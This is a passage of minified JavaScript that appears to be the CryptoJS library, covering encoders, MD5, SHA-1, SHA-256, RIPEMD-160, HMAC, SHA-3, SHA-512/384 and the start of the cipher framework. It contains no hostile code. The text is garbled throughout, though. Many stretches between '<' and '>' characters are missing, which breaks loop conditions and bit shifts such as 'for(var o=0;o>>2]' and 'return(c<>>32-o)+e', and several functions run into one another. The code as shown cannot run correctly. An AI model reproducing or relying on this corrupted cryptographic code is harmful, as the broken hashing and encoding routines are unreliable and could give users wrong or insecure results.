e.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var i=Object.create||function(t){var e;return n.prototype=t,e=new n,n.prototype=null,e};function n(){}var o={},s=o.lib={},c=s.Base={extend:function(t){var e=i(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty("toString")&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}},a=s.WordArray=c.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=null!=e?e:4*t.length},toString:function(t){return(t||l).stringify(this)},concat:function(t){var e=this.words,r=t.words,i=this.sigBytes,n=t.sigBytes;if(this.clamp(),i%4)for(var o=0;o>>2]>>>24-o%4*8&255;e[i+o>>>2]|=s<<24-(i+o)%4*8}else for(o=0;o>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var e=this.words,r=this.sigBytes;e[r>>>2]&=4294967295<<32-r%4*8,e.length=t.ceil(r/4)},clone:function(){var t=c.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],i=0;i>>2]>>>24-n%4*8&255;i.push((o>>>4).toString(16)),i.push((15&o).toString(16))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>3]|=parseInt(t.substr(i,2),16)<<24-i%8*4;return new a.init(r,e/2)}},f=h.Latin1={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>24-n%4*8&255;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>2]|=(255&t.charCodeAt(i))<<24-i%4*8;return new a.init(r,e)}},d=h.Utf8={stringify:function(t){try{return decodeURIComponent(escape(f.stringify(t)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(t){return f.parse(unescape(encodeURIComponent(t)))}},u=s.BufferedBlockAlgorithm=c.extend({reset:function(){this._data=new a.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=d.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(e){var r,i=this._data,n=i.words,o=i.sigBytes,s=this.blockSize,c=o/(4*s),h=(c=e?t.ceil(c):t.max((0|c)-this._minBufferSize,0))*s,l=t.min(4*h,o);if(h){for(var f=0;f>>32-e}function Dt(t,e,r,i){var n,o=this._iv;o?(n=o.slice(0),this._iv=void 0):n=this._prevBlock,i.encryptBlock(n,0);for(var s=0;s>24&255)){var e=t>>16&255,r=t>>8&255,i=255&t;255===e?(e=0,255===r?(r=0,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);dt[r]=s^c}t[0]=dt[0]+(dt[7]<<16|dt[7]>>>16)+(dt[6]<<16|dt[6]>>>16)|0,t[1]=dt[1]+(dt[0]<<8|dt[0]>>>24)+dt[7]|0,t[2]=dt[2]+(dt[1]<<16|dt[1]>>>16)+(dt[0]<<16|dt[0]>>>16)|0,t[3]=dt[3]+(dt[2]<<8|dt[2]>>>24)+dt[1]|0,t[4]=dt[4]+(dt[3]<<16|dt[3]>>>16)+(dt[2]<<16|dt[2]>>>16)|0,t[5]=dt[5]+(dt[4]<<8|dt[4]>>>24)+dt[3]|0,t[6]=dt[6]+(dt[5]<<16|dt[5]>>>16)+(dt[4]<<16|dt[4]>>>16)|0,t[7]=dt[7]+(dt[6]<<8|dt[6]>>>24)+dt[5]|0}function Mt(){for(var t=this._X,e=this._C,r=0;r<8;r++)wt[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);kt[r]=s^c}t[0]=kt[0]+(kt[7]<<16|kt[7]>>>16)+(kt[6]<<16|kt[6]>>>16)|0,t[1]=kt[1]+(kt[0]<<8|kt[0]>>>24)+kt[7]|0,t[2]=kt[2]+(kt[1]<<16|kt[1]>>>16)+(kt[0]<<16|kt[0]>>>16)|0,t[3]=kt[3]+(kt[2]<<8|kt[2]>>>24)+kt[1]|0,t[4]=kt[4]+(kt[3]<<16|kt[3]>>>16)+(kt[2]<<16|kt[2]>>>16)|0,t[5]=kt[5]+(kt[4]<<8|kt[4]>>>24)+kt[3]|0,t[6]=kt[6]+(kt[5]<<16|kt[5]>>>16)+(kt[4]<<16|kt[4]>>>16)|0,t[7]=kt[7]+(kt[6]<<8|kt[6]>>>24)+kt[5]|0}return t=mt.lib.WordArray,mt.enc.Base64={stringify:function(t){var e=t.words,r=t.sigBytes,i=this._map;t.clamp();for(var n=[],o=0;o>>2]>>>24-o%4*8&255)<<16|(e[o+1>>>2]>>>24-(o+1)%4*8&255)<<8|e[o+2>>>2]>>>24-(o+2)%4*8&255,c=0;c<4&&o+.75*c>>6*(3-c)&63));var a=i.charAt(64);if(a)for(;n.length%4;)n.push(a);return n.join("")},parse:function(e){var r=e.length,i=this._map,n=this._reverseMap;if(!n){n=this._reverseMap=[];for(var o=0;o>>6-s%4*2;n[o>>>2]|=c<<24-o%4*8,o++}return t.create(n,o)}(e,r,n)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[];!function(){for(var e=0;e<64;e++)s[e]=4294967296*t.abs(t.sin(e+1))|0}();var c=o.MD5=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o=this._hash.words,c=t[e+0],d=t[e+1],u=t[e+2],p=t[e+3],_=t[e+4],v=t[e+5],y=t[e+6],g=t[e+7],B=t[e+8],w=t[e+9],k=t[e+10],S=t[e+11],m=t[e+12],x=t[e+13],b=t[e+14],H=t[e+15],z=o[0],A=o[1],C=o[2],D=o[3];z=f(z=l(z=l(z=l(z=l(z=h(z=h(z=h(z=h(z=a(z=a(z=a(z=a(z,A,C,D,c,7,s[0]),A=a(A,C=a(C,D=a(D,z,A,C,d,12,s[1]),z,A,u,17,s[2]),D,z,p,22,s[3]),C,D,_,7,s[4]),A=a(A,C=a(C,D=a(D,z,A,C,v,12,s[5]),z,A,y,17,s[6]),D,z,g,22,s[7]),C,D,B,7,s[8]),A=a(A,C=a(C,D=a(D,z,A,C,w,12,s[9]),z,A,k,17,s[10]),D,z,S,22,s[11]),C,D,m,7,s[12]),A=a(A,C=a(C,D=a(D,z,A,C,x,12,s[13]),z,A,b,17,s[14]),D,z,H,22,s[15]),C,D,d,5,s[16]),A=h(A,C=h(C,D=h(D,z,A,C,y,9,s[17]),z,A,S,14,s[18]),D,z,c,20,s[19]),C,D,v,5,s[20]),A=h(A,C=h(C,D=h(D,z,A,C,k,9,s[21]),z,A,H,14,s[22]),D,z,_,20,s[23]),C,D,w,5,s[24]),A=h(A,C=h(C,D=h(D,z,A,C,b,9,s[25]),z,A,p,14,s[26]),D,z,B,20,s[27]),C,D,x,5,s[28]),A=h(A,C=h(C,D=h(D,z,A,C,u,9,s[29]),z,A,g,14,s[30]),D,z,m,20,s[31]),C,D,v,4,s[32]),A=l(A,C=l(C,D=l(D,z,A,C,B,11,s[33]),z,A,S,16,s[34]),D,z,b,23,s[35]),C,D,d,4,s[36]),A=l(A,C=l(C,D=l(D,z,A,C,_,11,s[37]),z,A,g,16,s[38]),D,z,k,23,s[39]),C,D,x,4,s[40]),A=l(A,C=l(C,D=l(D,z,A,C,c,11,s[41]),z,A,p,16,s[42]),D,z,y,23,s[43]),C,D,w,4,s[44]),A=l(A,C=l(C,D=l(D,z,A,C,m,11,s[45]),z,A,H,16,s[46]),D,z,u,23,s[47]),C,D,c,6,s[48]),A=f(A=f(A=f(A=f(A,C=f(C,D=f(D,z,A,C,g,10,s[49]),z,A,b,15,s[50]),D,z,v,21,s[51]),C=f(C,D=f(D,z=f(z,A,C,D,m,6,s[52]),A,C,p,10,s[53]),z,A,k,15,s[54]),D,z,d,21,s[55]),C=f(C,D=f(D,z=f(z,A,C,D,B,6,s[56]),A,C,H,10,s[57]),z,A,y,15,s[58]),D,z,x,21,s[59]),C=f(C,D=f(D,z=f(z,A,C,D,_,6,s[60]),A,C,S,10,s[61]),z,A,u,15,s[62]),D,z,w,21,s[63]),o[0]=o[0]+z|0,o[1]=o[1]+A|0,o[2]=o[2]+C|0,o[3]=o[3]+D|0},_doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;r[n>>>5]|=128<<24-n%32;var o=t.floor(i/4294967296),s=i;r[15+(64+n>>>9<<4)]=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8),r[14+(64+n>>>9<<4)]=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),e.sigBytes=4*(r.length+1),this._process();for(var c=this._hash,a=c.words,h=0;h<4;h++){var l=a[h];a[h]=16711935&(l<<8|l>>>24)|4278255360&(l<<24|l>>>8)}return c},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});function a(t,e,r,i,n,o,s){var c=t+(e&r|~e&i)+n+s;return(c<>>32-o)+e}function h(t,e,r,i,n,o,s){var c=t+(e&i|r&~i)+n+s;return(c<>>32-o)+e}function l(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<>>32-o)+e}function f(t,e,r,i,n,o,s){var c=t+(r^(e|~i))+n+s;return(c<>>32-o)+e}e.MD5=n._createHelper(c),e.HmacMD5=n._createHmacHelper(c)}(Math),r=(e=mt).lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=o.SHA1=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],c=r[3],a=r[4],h=0;h<80;h++){if(h<16)s[h]=0|t[e+h];else{var l=s[h-3]^s[h-8]^s[h-14]^s[h-16];s[h]=l<<1|l>>>31}var f=(i<<5|i>>>27)+a+s[h];f+=h<20?1518500249+(n&o|~n&c):h<40?1859775393+(n^o^c):h<60?(n&o|n&c|o&c)-1894007588:(n^o^c)-899497514,a=c,c=o,o=n<<30|n>>>2,n=i,i=f}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+c|0,r[4]=r[4]+a|0},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=Math.floor(r/4294967296),e[15+(64+i>>>9<<4)]=r,t.sigBytes=4*e.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}}),e.SHA1=n._createHelper(c),e.HmacSHA1=n._createHmacHelper(c),function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=[];!function(){function e(e){for(var r=t.sqrt(e),i=2;i<=r;i++)if(!(e%i))return;return 1}function r(t){return 4294967296*(t-(0|t))|0}for(var i=2,n=0;n<64;)e(i)&&(n<8&&(s[n]=r(t.pow(i,.5))),c[n]=r(t.pow(i,1/3)),n++),i++}();var a=[],h=o.SHA256=n.extend({_doReset:function(){this._hash=new i.init(s.slice(0))},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=0;u<64;u++){if(u<16)a[u]=0|t[e+u];else{var p=a[u-15],_=(p<<25|p>>>7)^(p<<14|p>>>18)^p>>>3,v=a[u-2],y=(v<<15|v>>>17)^(v<<13|v>>>19)^v>>>10;a[u]=_+a[u-7]+y+a[u-16]}var g=i&n^i&o^n&o,B=(i<<30|i>>>2)^(i<<19|i>>>13)^(i<<10|i>>>22),w=d+((h<<26|h>>>6)^(h<<21|h>>>11)^(h<<7|h>>>25))+(h&l^~h&f)+c[u]+a[u];d=f,f=l,l=h,h=s+w|0,s=o,o=n,n=i,i=w+(B+g)|0}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+s|0,r[4]=r[4]+h|0,r[5]=r[5]+l|0,r[6]=r[6]+f|0,r[7]=r[7]+d|0},_doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;return r[n>>>5]|=128<<24-n%32,r[14+(64+n>>>9<<4)]=t.floor(i/4294967296),r[15+(64+n>>>9<<4)]=i,e.sigBytes=4*r.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});e.SHA256=n._createHelper(h),e.HmacSHA256=n._createHmacHelper(h)}(Math),function(){var t=mt.lib.WordArray,e=mt.enc;function r(t){return t<<8&4278255360|t>>>8&16711935}e.Utf16=e.Utf16BE={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>16-n%4*8&65535;i.push(String.fromCharCode(o))}return i.join("")},parse:function(e){for(var r=e.length,i=[],n=0;n>>1]|=e.charCodeAt(n)<<16-n%2*16;return t.create(i,2*r)}},e.Utf16LE={stringify:function(t){for(var e=t.words,i=t.sigBytes,n=[],o=0;o>>2]>>>16-o%4*8&65535);n.push(String.fromCharCode(s))}return n.join("")},parse:function(e){for(var i=e.length,n=[],o=0;o>>1]|=r(e.charCodeAt(o)<<16-o%2*16);return t.create(n,2*i)}}}(),function(){if("function"==typeof ArrayBuffer){var t=mt.lib.WordArray,e=t.init;(t.init=function(t){if(t instanceof ArrayBuffer&&(t=new Uint8Array(t)),(t instanceof Int8Array||"undefined"!=typeof Uint8ClampedArray&&t instanceof Uint8ClampedArray||t instanceof Int16Array||t instanceof Uint16Array||t instanceof Int32Array||t instanceof Uint32Array||t instanceof Float32Array||t instanceof Float64Array)&&(t=new Uint8Array(t.buffer,t.byteOffset,t.byteLength)),t instanceof Uint8Array){for(var r=t.byteLength,i=[],n=0;n>>2]|=t[n]<<24-n%4*8;e.call(this,i,r)}else e.apply(this,arguments)}).prototype=t}}(),Math,h=(a=mt).lib,l=h.WordArray,f=h.Hasher,d=a.algo,u=l.create([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8,3,10,14,4,9,15,8,1,2,7,0,6,13,11,5,12,1,9,11,10,0,8,12,4,13,3,7,15,14,5,6,2,4,0,5,9,7,12,2,10,14,1,3,8,11,6,15,13]),p=l.create([5,14,7,0,9,2,11,4,13,6,15,8,1,10,3,12,6,11,3,7,0,13,5,10,14,15,8,12,4,9,1,2,15,5,1,3,7,14,6,9,11,8,12,2,10,0,4,13,8,6,4,1,3,11,15,0,5,12,2,13,9,7,10,14,12,15,10,4,1,5,8,7,6,2,13,14,0,3,9,11]),_=l.create([11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8,7,6,8,13,11,9,7,15,7,12,15,9,11,7,13,12,11,13,6,7,14,9,13,15,14,8,13,6,5,12,7,5,11,12,14,15,14,15,9,8,9,14,5,6,8,6,5,12,9,15,5,11,6,8,13,12,5,12,13,14,11,8,5,6]),v=l.create([8,9,9,11,13,15,15,5,7,7,8,11,14,14,12,6,9,13,15,7,12,8,9,11,7,7,12,7,6,15,13,11,9,7,15,11,8,6,6,14,12,13,5,14,13,13,7,5,15,5,8,11,14,14,6,14,6,9,12,9,12,5,15,8,8,5,12,9,12,5,14,6,8,13,6,5,15,13,11,11]),y=l.create([0,1518500249,1859775393,2400959708,2840853838]),g=l.create([1352829926,1548603684,1836072691,2053994217,0]),B=d.RIPEMD160=f.extend({_doReset:function(){this._hash=l.create([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o,s,c,a,h,l,f,d,B,w,k,S=this._hash.words,m=y.words,x=g.words,b=u.words,H=p.words,z=_.words,A=v.words;for(l=o=S[0],f=s=S[1],d=c=S[2],B=a=S[3],w=h=S[4],r=0;r<80;r+=1)k=o+t[e+b[r]]|0,k+=r<16?xt(s,c,a)+m[0]:r<32?bt(s,c,a)+m[1]:r<48?Ht(s,c,a)+m[2]:r<64?zt(s,c,a)+m[3]:At(s,c,a)+m[4],k=(k=Ct(k|=0,z[r]))+h|0,o=h,h=a,a=Ct(c,10),c=s,s=k,k=l+t[e+H[r]]|0,k+=r<16?At(f,d,B)+x[0]:r<32?zt(f,d,B)+x[1]:r<48?Ht(f,d,B)+x[2]:r<64?bt(f,d,B)+x[3]:xt(f,d,B)+x[4],k=(k=Ct(k|=0,A[r]))+w|0,l=w,w=B,B=Ct(d,10),d=f,f=k;k=S[1]+c+B|0,S[1]=S[2]+a+w|0,S[2]=S[3]+h+l|0,S[3]=S[4]+o+f|0,S[4]=S[0]+s+d|0,S[0]=k},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=16711935&(r<<8|r>>>24)|4278255360&(r<<24|r>>>8),t.sigBytes=4*(e.length+1),this._process();for(var n=this._hash,o=n.words,s=0;s<5;s++){var c=o[s];o[s]=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8)}return n},clone:function(){var t=f.clone.call(this);return t._hash=this._hash.clone(),t}}),a.RIPEMD160=f._createHelper(B),a.HmacRIPEMD160=f._createHmacHelper(B),w=mt.lib.Base,k=mt.enc.Utf8,mt.algo.HMAC=w.extend({init:function(t,e){t=this._hasher=new t.init,"string"==typeof e&&(e=k.parse(e));var r=t.blockSize,i=4*r;e.sigBytes>i&&(e=t.finalize(e)),e.clamp();for(var n=this._oKey=e.clone(),o=this._iKey=e.clone(),s=n.words,c=o.words,a=0;a>>24)|4278255360&(o<<24|o>>>8),s=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),(A=r[n]).high^=s,A.low^=o}for(var f=0;f<24;f++){for(var d=0;d<5;d++){for(var u=0,p=0,_=0;_<5;_++)u^=(A=r[d+5*_]).high,p^=A.low;var v=l[d];v.high=u,v.low=p}for(d=0;d<5;d++){var y=l[(d+4)%5],g=l[(d+1)%5],B=g.high,w=g.low;for(u=y.high^(B<<1|w>>>31),p=y.low^(w<<1|B>>>31),_=0;_<5;_++)(A=r[d+5*_]).high^=u,A.low^=p}for(var k=1;k<25;k++){var S=(A=r[k]).high,m=A.low,x=c[k];p=x<32?(u=S<>>32-x,m<>>32-x):(u=m<>>64-x,S<>>64-x);var b=l[a[k]];b.high=u,b.low=p}var H=l[0],z=r[0];for(H.high=z.high,H.low=z.low,d=0;d<5;d++)for(_=0;_<5;_++){var A=r[k=d+5*_],C=l[k],D=l[(d+1)%5+5*_],E=l[(d+2)%5+5*_];A.high=C.high^~D.high&E.high,A.low=C.low^~D.low&E.low}A=r[0];var R=h[f];A.high^=R.high,A.low^=R.low}},_doFinalize:function(){var e=this._data,r=e.words,n=(this._nDataBytes,8*e.sigBytes),o=32*this.blockSize;r[n>>>5]|=1<<24-n%32,r[(t.ceil((1+n)/o)*o>>>5)-1]|=128,e.sigBytes=4*r.length,this._process();for(var s=this._state,c=this.cfg.outputLength/8,a=c/8,h=[],l=0;l>>24)|4278255360&(d<<24|d>>>8),u=16711935&(u<<8|u>>>24)|4278255360&(u<<24|u>>>8),h.push(u),h.push(d)}return new i.init(h,c)},clone:function(){for(var t=n.clone.call(this),e=t._state=this._state.slice(0),r=0;r<25;r++)e[r]=e[r].clone();return t}});e.SHA3=n._createHelper(f),e.HmacSHA3=n._createHmacHelper(f)}(Math),function(){var t=mt,e=t.lib.Hasher,r=t.x64,i=r.Word,n=r.WordArray,o=t.algo;function s(){return i.create.apply(i,arguments)}var c=[s(1116352408,3609767458),s(1899447441,602891725),s(3049323471,3964484399),s(3921009573,2173295548),s(961987163,4081628472),s(1508970993,3053834265),s(2453635748,2937671579),s(2870763221,3664609560),s(3624381080,2734883394),s(310598401,1164996542),s(607225278,1323610764),s(1426881987,3590304994),s(1925078388,4068182383),s(2162078206,991336113),s(2614888103,633803317),s(3248222580,3479774868),s(3835390401,2666613458),s(4022224774,944711139),s(264347078,2341262773),s(604807628,2007800933),s(770255983,1495990901),s(1249150122,1856431235),s(1555081692,3175218132),s(1996064986,2198950837),s(2554220882,3999719339),s(2821834349,766784016),s(2952996808,2566594879),s(3210313671,3203337956),s(3336571891,1034457026),s(3584528711,2466948901),s(113926993,3758326383),s(338241895,168717936),s(666307205,1188179964),s(773529912,1546045734),s(1294757372,1522805485),s(1396182291,2643833823),s(1695183700,2343527390),s(1986661051,1014477480),s(2177026350,1206759142),s(2456956037,344077627),s(2730485921,1290863460),s(2820302411,3158454273),s(3259730800,3505952657),s(3345764771,106217008),s(3516065817,3606008344),s(3600352804,1432725776),s(4094571909,1467031594),s(275423344,851169720),s(430227734,3100823752),s(506948616,1363258195),s(659060556,3750685593),s(883997877,3785050280),s(958139571,3318307427),s(1322822218,3812723403),s(1537002063,2003034995),s(1747873779,3602036899),s(1955562222,1575990012),s(2024104815,1125592928),s(2227730452,2716904306),s(2361852424,442776044),s(2428436474,593698344),s(2756734187,3733110249),s(3204031479,2999351573),s(3329325298,3815920427),s(3391569614,3928383900),s(3515267271,566280711),s(3940187606,3454069534),s(4118630271,4000239992),s(116418474,1914138554),s(174292421,2731055270),s(289380356,3203993006),s(460393269,320620315),s(685471733,587496836),s(852142971,1086792851),s(1017036298,365543100),s(1126000580,2618297676),s(1288033470,3409855158),s(1501505948,4234509866),s(1607167915,987167468),s(1816402316,1246189591)],a=[];!function(){for(var t=0;t<80;t++)a[t]=s()}();var h=o.SHA512=e.extend({_doReset:function(){this._hash=new n.init([new i.init(1779033703,4089235720),new i.init(3144134277,2227873595),new i.init(1013904242,4271175723),new i.init(2773480762,1595750129),new i.init(1359893119,2917565137),new i.init(2600822924,725511199),new i.init(528734635,4215389547),new i.init(1541459225,327033209)])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=i.high,p=i.low,_=n.high,v=n.low,y=o.high,g=o.low,B=s.high,w=s.low,k=h.high,S=h.low,m=l.high,x=l.low,b=f.high,H=f.low,z=d.high,A=d.low,C=u,D=p,E=_,R=v,M=y,F=g,P=B,W=w,O=k,I=S,U=m,K=x,X=b,L=H,j=z,N=A,T=0;T<80;T++){var q,Z,V=a[T];if(T<16)Z=V.high=0|t[e+2*T],q=V.low=0|t[e+2*T+1];else{var G=a[T-15],J=G.high,$=G.low,Q=(J>>>1|$<<31)^(J>>>8|$<<24)^J>>>7,Y=($>>>1|J<<31)^($>>>8|J<<24)^($>>>7|J<<25),tt=a[T-2],et=tt.high,rt=tt.low,it=(et>>>19|rt<<13)^(et<<3|rt>>>29)^et>>>6,nt=(rt>>>19|et<<13)^(rt<<3|et>>>29)^(rt>>>6|et<<26),ot=a[T-7],st=ot.high,ct=ot.low,at=a[T-16],ht=at.high,lt=at.low;Z=(Z=(Z=Q+st+((q=Y+ct)>>>0>>0?1:0))+it+((q+=nt)>>>0>>0?1:0))+ht+((q+=lt)>>>0>>0?1:0),V.high=Z,V.low=q}var ft,dt=O&U^~O&X,ut=I&K^~I&L,pt=C&E^C&M^E&M,_t=D&R^D&F^R&F,vt=(C>>>28|D<<4)^(C<<30|D>>>2)^(C<<25|D>>>7),yt=(D>>>28|C<<4)^(D<<30|C>>>2)^(D<<25|C>>>7),gt=(O>>>14|I<<18)^(O>>>18|I<<14)^(O<<23|I>>>9),Bt=(I>>>14|O<<18)^(I>>>18|O<<14)^(I<<23|O>>>9),wt=c[T],kt=wt.high,St=wt.low,mt=j+gt+((ft=N+Bt)>>>0>>0?1:0),xt=yt+_t;j=X,N=L,X=U,L=K,U=O,K=I,O=P+(mt=(mt=(mt=mt+dt+((ft+=ut)>>>0>>0?1:0))+kt+((ft+=St)>>>0>>0?1:0))+Z+((ft+=q)>>>0>>0?1:0))+((I=W+ft|0)>>>0>>0?1:0)|0,P=M,W=F,M=E,F=R,E=C,R=D,C=mt+(vt+pt+(xt>>>0>>0?1:0))+((D=ft+xt|0)>>>0>>0?1:0)|0}p=i.low=p+D,i.high=u+C+(p>>>0>>0?1:0),v=n.low=v+R,n.high=_+E+(v>>>0>>0?1:0),g=o.low=g+F,o.high=y+M+(g>>>0>>0?1:0),w=s.low=w+W,s.high=B+P+(w>>>0>>0?1:0),S=h.low=S+I,h.high=k+O+(S>>>0>>0?1:0),x=l.low=x+K,l.high=m+U+(x>>>0>>0?1:0),H=f.low=H+L,f.high=b+X+(H>>>0>>0?1:0),A=d.low=A+N,d.high=z+j+(A>>>0>>0?1:0)},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[30+(128+i>>>10<<5)]=Math.floor(r/4294967296),e[31+(128+i>>>10<<5)]=r,t.sigBytes=4*e.length,this._process(),this._hash.toX32()},clone:function(){var t=e.clone.call(this);return t._hash=this._hash.clone(),t},blockSize:32});t.SHA512=e._createHelper(h),t.HmacSHA512=e._createHmacHelper(h)}(),Z=(q=mt).x64,V=Z.Word,G=Z.WordArray,J=q.algo,$=J.SHA512,Q=J.SHA384=$.extend({_doReset:function(){this._hash=new G.init([new V.init(3418070365,3238371032),new V.init(1654270250,914150663),new V.init(2438529370,812702999),new V.init(355462360,4144912697),new V.init(1731405415,4290775857),new V.init(2394180231,1750603025),new V.init(3675008525,1694076839),new V.init(1203062813,3204075428)])},_doFinalize:function(){var t=$._doFinalize.call(this);return t.sigBytes-=16,t}}),q.SHA384=$._createHelper(Q),q.HmacSHA384=$._createHmacHelper(Q),mt.lib.Cipher||function(){var t=mt,e=t.lib,r=e.Base,i=e.WordArray,n=e.BufferedBlockAlgorithm,o=t.enc,s=(o.Utf8,o.Base64),c=t.algo.EvpKDF,a=e.Cipher=n.extend({cfg:r.extend(),createEncryptor:function(t,e){return this.create(this._ENC_XFORM_MODE,t,e)},createDecryptor:function(t,e){return this.create(this._DEC_XFORM_MODE,t,e)},init:function(t,e,r){this.cfg=this.cfg.extend(r),this._xformMode=t,this._key=e,this.reset()},reset:function(){n.reset.call(this),this._doReset()},process:function(t){return this._append(t),this._process()},finalize:function(t){return t&&this._append(t),this._doFinalize()},keySize:4,ivSize:4,_ENC_XFORM_MODE:1,_DEC_XFORM_MODE:2,_createHelper:function(t){return{encrypt:function(e,r,i){return h(r).encrypt(t,e,r,i)},decrypt:function(e,r,i){return h(r).decrypt(t,e,r,i)}}}});function h(t){return"string"==typeof t?w:g}e.StreamCipher=a.extend({_doFinalize:function(){return this._process(!0)},blockSize:1});var l,f=t.mode={},d=e.BlockCipherMode=r.extend({createEncryptor:function(t,e){return this.Encryptor.create(t,e)},createDecryptor:function(t,e){return this.Decryptor.create(t,e)},init:function(t,e){this._cipher=t,this._iv=e}}),u=f.CBC=((l=d.extend()).Encryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;p.call(this,t,e,i),r.encryptBlock(t,e),this._prevBlock=t.slice(e,e+i)}}),l.Decryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);r.decryptBlock(t,e),p.call(this,t,e,i),this._prevBlock=n}}),l);function p(t,e,r){var i,n=this._iv;n?(i=n,this._iv=void 0):i=this._prevBlock;for(var o=0;o>>2];t.sigBytes-=e}},v=(e.BlockCipher=a.extend({cfg:a.cfg.extend({mode:u,padding:_}),reset:function(){var t;a.reset.call(this);var e=this.cfg,r=e.iv,i=e.mode;this._xformMode==this._ENC_XFORM_MODE?t=i.createEncryptor:(t=i.createDecryptor,this._minBufferSize=1),this._mode&&this._mode.__creator==t?this._mode.init(this,r&&r.words):(this._mode=t.call(i,this,r&&r.words),this._mode.__creator=t)},_doProcessBlock:function(t,e){this._mode.processBlock(t,e)},_doFinalize:function(){var t,e=this.cfg.padding;return 